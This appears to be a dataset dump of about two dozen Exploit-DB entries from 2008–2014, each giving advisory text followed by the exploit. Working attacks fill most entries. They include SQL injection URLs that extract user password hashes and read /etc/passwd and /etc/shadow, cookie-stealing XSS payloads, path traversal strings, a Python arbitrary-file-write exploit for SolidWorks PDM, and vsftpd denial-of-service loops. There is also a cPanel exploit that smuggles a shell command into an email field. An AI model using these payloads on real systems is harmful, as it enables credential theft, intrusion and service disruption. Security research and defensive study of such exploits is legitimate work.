QLWD/code_shield huggingface dataset:
标题: WordPress Plugin Upload File - 'wp-uploadfile.php' SQL Injection EDB-ID: 31836 CVE: 2008-2510 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/29352/info

The Upload File plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/wp-uploadfile.php?f_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/* URL: https://www.exploit-db.com/exploits/31836
标题: Barracuda Spam Firewall 3.5.11 - 'ldap_test.cgi' Cross-Site Scripting EDB-ID: 31828 CVE: 2008-2333 类型: REMOTE 平台: HARDWARE 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29340/info

Barracuda Spam Firewall is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Firmware prior to Barracuda Spam Firewall 3.5.11.025 is vulnerable. 

https://www.example.com/cgi-bin/ldap_test.cgi?host=127.0.0.1&port=1&tl s_mode=tls_mode&tls_require=&username=&password=&filter=&searchbase=&uni que_attr=&email_attr=&domain=*&email=%3Cscript%3Ealert(document.cookie)% 3C/script%3E URL: https://www.exploit-db.com/exploits/31828
标题: PHPFreeForum 1.0 rc2 - '/part/menu.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31822 CVE: 2008-6437 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29337/info
 
phpFreeForum is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/[phpfreeforum_path]/html/part/menu.php?nickname=<XSS>
http://www.example.com/[phpfreeforum_path]/html/part/menu.php?randomid=<XSS> URL: https://www.exploit-db.com/exploits/31822
标题: AbleDating 2.4 - 'search_results.php?keyword' SQL Injection EDB-ID: 31829 CVE: 2008-6572 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29342/info

AbleDating is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.

These issues affect AbleDating 2.4; other versions may also be vulnerable.


http://www.example.com/search_results.php?p_age_from=18&p_age_to=18&keyword=[sql injection]&status=online&save_search=on&search_name=My%20search&photo=on&p_orientation%255B%255D=2&order=rating&sort=desc&p_relation%255B%255D=4&search URL: https://www.exploit-db.com/exploits/31829
标题: phpSQLiteCMS 1 RC2 - '/cms/includes/login.inc.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31824 CVE: 2008-6435 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29338/info
 
phpSQLiteCMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
phpSQLiteCMS 1 RC2 is vulnerable; other versions may also be affected. 

http://www.example.com/[phpsqlitecms_path]/cms/includes/login.inc.php?lang[login_username]=<XSS>
http://www.example.com/[phpsqlitecms_path]/cms/includes/login.inc.php?lang[login_password]=<XSS> URL: https://www.exploit-db.com/exploits/31824
标题: BMForum 5.6 - 'bsd01header.php' Cross-Site Scripting EDB-ID: 31827 CVE: 2008-6431 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29339/info
  
BMForum is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
BMForum 5.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[BBForum_path]/newtem/header/bsd01header.php?topads=<XSS>
http://www.example.com/[BBForum_path]/newtem/header/bsd01header.php?myplugin=<XSS> URL: https://www.exploit-db.com/exploits/31827
标题: SolidWorks Workgroup PDM 2014 SP2 - Arbitrary File Write EDB-ID: 31831 CVE: 2014-100015 类型: REMOTE 平台: WINDOWS 发布日期: 2014-02-22 漏洞利用脚本: '''
# Title: SolidWorks Workgroup PDM 2014 SP2 Arbitrary File Write Vulnerability
# Date: 2-21-2014
# Author: Mohamed Shetta
Email: mshetta |at| live |dot| com
# Vendor Homepage: http://www.solidworks.com/sw/products/product-data-management/workgroup-pdm.htm
# Tested on: Windows 7
#Vulnerability type: Arbitrary File Write
#Vulnerable file: pdmwService.exe
#PORT: 30000


---------------------------------------------------------------------------------------------------------
Software Description:

SolidWorks
Workgroup PDM is a PDM tool that allows SolidWorks users operating in 
teams of 10 members or less to work on designs concurrently. With 
SolidWorks PDM Workgroup, designers can search, revise, and vault CAD 
data while maintaining an accurate design history.


---------------------------------------------------------------------------------------------------------
Vulnerability Details:

This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of SolidWorks Workgroup PDM.

------------------------------------------------------------------------------------------------------------
Disclosure timeline:

12/15/2013 - Vendor notified and no response.
2/21/2014 - Public disclosure
'''

#!/usr/bin/env python
  
import socket
import struct
import ctypes

FileName="\x2E\x00\x2E\x00\x5C\x00\x2E\x00\x2E\x00\x5C\x00\x74\x00\x65\x00\x73\x00\x74\x00" #..\..\test
Data="A"*1028
FileSize=len(Data)
FNsz=len(FileName)
OpCode="\xD0\x07\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.4", 30000))
s.send(OpCode)
s.send(struct.pack("I", FNsz))
s.send(FileName)
s.send(struct.pack('<Q', FileSize))
s.send(Data) URL: https://www.exploit-db.com/exploits/31831
标题: phpSQLiteCMS 1 RC2 - '/cms/includes/header.inc.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31823 CVE: 2008-6435 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29338/info

phpSQLiteCMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpSQLiteCMS 1 RC2 is vulnerable; other versions may also be affected. 

http://www.example.com/[phpsqlitecms_path]/cms/includes/header.inc.php?lang[home]=<XSS>
http://www.example.com/[phpsqlitecms_path]/cms/includes/header.inc.php?lang[admin_menu]=<XSS>
http://www.example.com/[phpsqlitecms_path]/cms/includes/header.inc.php?lang[admin_menu_page_overview]=<XSS> URL: https://www.exploit-db.com/exploits/31823
标题: BMForum 5.6 - 'bsd01footer.php' Cross-Site Scripting EDB-ID: 31826 CVE: 2008-6431 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29339/info
 
BMForum is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
BMForum 5.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[BBForum_path]/newtem/footer/bsd01footer.php?footer_copyright=<XSS>
http://www.example.com/[BBForum_path]/newtem/footer/bsd01footer.php?verandproname=<XSS> URL: https://www.exploit-db.com/exploits/31826
标题: BMForum 5.6 - 'index.php' Cross-Site Scripting EDB-ID: 31825 CVE: 2008-6431 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29339/info

BMForum is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

BMForum 5.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[BBForum_path]/index.php?outpused=<XSS> URL: https://www.exploit-db.com/exploits/31825
标题: vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) EDB-ID: 31819 CVE: 2007-5962 类型: DOS 平台: WINDOWS 发布日期: 2008-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/29322/info
 
 
The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory.
 
Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users. 

#!/usr/bin/perl -w


#######################################################################################
#vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,
#Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.
#
#Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration
#option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.
#
#I tried to modify local exploit found at securityfocus such that we can remotely exloit
#
# Author shall not bear any responsibility
#Author:Praveen Darshanam
#Email:praveen[underscore]recker[at]sify.com
#Date:07th June, 2008
#
#
########################################################################################


use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";

while(1)
{
#this loop runs infinitely

    $ftp -> cwd();
}

$ftp->quit; URL: https://www.exploit-db.com/exploits/31819
标题: vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) EDB-ID: 31818 CVE: 2007-5962 类型: DOS 平台: WINDOWS 发布日期: 2008-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/29322/info


The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory.

Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users. 

# echo deny_file=foo >> /etc/vsftpd/vsftpd.conf
# service vsftpd restart

$ cat > memtest.sh <<EOF
 EOF
#!/bin/bash
echo USER anonymous
echo PASS foo@bar.com

while [ 1 ]; do
        echo CWD pub
        echo CWD ..
done
EOF URL: https://www.exploit-db.com/exploits/31818
标题: libxslt XSL 1.1.23 - File Processing Buffer Overflow EDB-ID: 31815 CVE: 2008-1767 类型: DOS 平台: LINUX 发布日期: 2008-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/29312/info

The 'libxslt' library is prone to a buffer-overflow vulnerability because the software fails to perform adequate boundary checks on user-supplied data.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user running an application that relies on the affected library. Failed exploit attempts will likely result in denial-of-service conditions.

This issue affects libxslt 1.1.23 and prior versions. 

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="xml"/>

<xsl:template
match="html/body/table/tr/td/div/div/div/div/div/div/div/div/table/tr/td/table/tr/td/p/b">
<xsl:if test="contains(text(), 'published')">
<found/>
</xsl:if>
</xsl:template>
</xsl:stylesheet> URL: https://www.exploit-db.com/exploits/31815
标题: PHPFreeForum 1.0 rc2 - 'error.php?message' Cross-Site Scripting EDB-ID: 31821 CVE: 2008-6437 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/29337/info

phpFreeForum is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/[phpfreeforum_path]/html/error.php?message=&lt;XSS&gt; URL: https://www.exploit-db.com/exploits/31821
标题: Web Slider 0.6 - 'slide' SQL Injection EDB-ID: 31810 CVE: 2008-2422 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/29296/info

Web Slider is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Web Slider 0.6 is vulnerable; other versions may also be affected. 

http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,concat(CHAR(0x75,0x73,0x65,0x72,0x3A,0xD,0xA),username,0x3a,password),2,concat(database(),char(58),0x2020,version()),4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,concat(user(),0x3a,password),null,concat(database(),0x2020,version()),4+from+mysql.user/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,load_file(0x6574632F706173737764),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,load_file(CONCAT(CHAR(0x65),CHAR(0x74),CHAR(0x63),CHAR(0x2F),CHAR(0x70),CHAR(0x61),CHAR(0x73),CHAR(0x73),CHAR(0x77),CHAR(0x64))),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(0x6574632F706173737764),50),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/passwd),50),2,0,4+from+users/*
http://www.example.com/html/index.php?action=slides&group=Introduccion&slide='+union+select+0,substring(load_file(etc/shadow),50),2,0,4+from+users/* URL: https://www.exploit-db.com/exploits/31810
标题: AppServ Open Project 2.5.10 - 'appservlang' Cross-Site Scripting EDB-ID: 31808 CVE: 2008-2398 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/29291/info

AppServ Open Project is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

AppServ Open Project 2.5.10 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?appservlang=">[XSS] http://www.example.com/index.php?appservlang="><IMG%20SRC=java script:alert(/XSS/)> http://www.example.com/index.php?appservlang="><BODY%20ONLOAD=alert(/ xss/)> http://www.example.com/index.php?appservlang="><script>window.open(/phpinfo.php/)</script> http://www.example.com/index.php?appservlang="><INPUT%20TYPE="xss"> http://www.example.com/index.php?appservlang="><iframe%20src=http://www.example2.com> http://www.example.com/index.php?appservlang="><BR><input%20type%20=%20"password"%20name="pass"/><button%20onClick="java script:alert(/I%20have%20your%20password:%20/%20+%20pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR> URL: https://www.exploit-db.com/exploits/31808
标题: Starsgames Control Panel 4.6.2 - 'index.php' Cross-Site Scripting EDB-ID: 31809 CVE: 2008-2458 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/29295/info

Starsgames Control Panel is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Starsgames Control Panel 4.6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?showtopic=18&st=&lt;/textarea&gt;<script>alert(/xss/)</script> http://www.example.com/index.php?showtopic=18&st=&lt;/textarea&gt;<iframe src=http://www.google.com> URL: https://www.exploit-db.com/exploits/31809
标题: cPanel 11.21 - 'wwwact' Privilege Escalation EDB-ID: 31807 CVE: 2008-2478 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/29277/info

cPanel is prone to a remote privilege-escalation vulnerability because of an unspecified error.

Successfully exploiting this issue allows remote attackers to gain administrative privileges to the affected application and execute malicious PHP code in the context of the webserver process. This may facilitate a compromise of the webserver and the underlying system; other attacks are also possible. 

Test it:
++++++++++++++++++++++++++
Step 1

Save this file in /home/user/public_html/do.pl .
#!/usr/bin/perl
$old='/home/user/public_html/test.txt';
$new='/home/root/kon.txt';
rename $old, $new;
++++++++++++++++++++++++++
step 2

make a text file named test.txt in your public_html directory.
path will be : /home/user/public_html/test.txt .
++++++++++++++++++++++++++
step 3

create an account and write ali@hackerz.ir;./home/user/public_html/do.pl in E-mail Address text box
then click on the "create" button.
Yes , you can find your file in /home/root/ .
++++++++++++++++++++++++++
()()()()()()()()()()()()()
you can run your own code !(mass defacer, exploit's or everything that u want).
Enjoy it... URL: https://www.exploit-db.com/exploits/31807
标题: SAP Web Application Server 7.0 - '/sap/bc/gui/sap/its/webgui/' Cross-Site Scripting EDB-ID: 31816 CVE: 2008-2421 类型: WEBAPPS 平台: JAVA 发布日期: 2008-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/29317/info

SAP Web Application Server is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SAP Web Application Server 7.0 is vulnerable; other versions may also be affected.

http://www.example.com/sap/bc/gui/sap/its/webgui/aaaaaaa"><img/src=javascript:alert('DSECRG_XSS')> URL: https://www.exploit-db.com/exploits/31816
标题: Mozilla Firefox 2.0.0.14 - JSframe Heap Corruption Denial of Service EDB-ID: 31817 CVE: 2008-2419 类型: DOS 平台: MULTIPLE 发布日期: 2008-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/29318/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability when running certain JavaScript commands on empty applets in an iframe.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

This issue affects Firefox 2.0.0.14; other versions may also be vulnerable. 

<script> // It might not work on your platform due to a ton of reasons. // tested on WinXP SP2 JRE version 1.6.0_01 function run() { var data = '<applet src="javascript:" id="x">'; y.document.open(); y.document.write(data); y.document.close(); } </script> <input name="button" value="Run" onclick="run()" type="button"> <iframe name="y" id="x" src="" frameborder="1" height="200"></iframe> URL: https://www.exploit-db.com/exploits/31817
标题: Digital Hive 2.0 - 'base_include.php' Local File Inclusion EDB-ID: 31804 CVE: 2008-2415 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29255/info

Digital Hive is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.

Digital Hive 2.0 RC2 is vulnerable; other versions may also be affected. 

http://www.example.com/hive_v2.0_RC2/template/purpletech/base_include.php?page=../../etc/passwd URL: https://www.exploit-db.com/exploits/31804
标题: bcoos 1.0.13 - 'file' Local File Inclusion EDB-ID: 31806 CVE: 2008-2350 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/29275/info

The 'bcoos' program is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to include local scripts in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.

This issue affects bcoos 1.0.13; other versions may also be affected.

http://www.example.com/bcoos/class/debug/highlight.php?file=../../../../../boot.ini URL: https://www.exploit-db.com/exploits/31806
标题: ACGV News 0.9.1 - 'glossaire.php?id' SQL Injection EDB-ID: 31801 CVE: 2008-2412 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29253/info

ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ACGV News 0.9.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ACGVnews/glossaire.php?id=[SQL] URL: https://www.exploit-db.com/exploits/31801
标题: AN Guestbook 0.4 - 'send_email.php' Cross-Site Scripting EDB-ID: 31803 CVE: 2008-2414 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29254/info

AN Guestbook (ANG) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ANG 0.4 is vulnerable; other versions may also be affected.

http://www.example.com/ang/send_email.php?postid=[XSS] URL: https://www.exploit-db.com/exploits/31803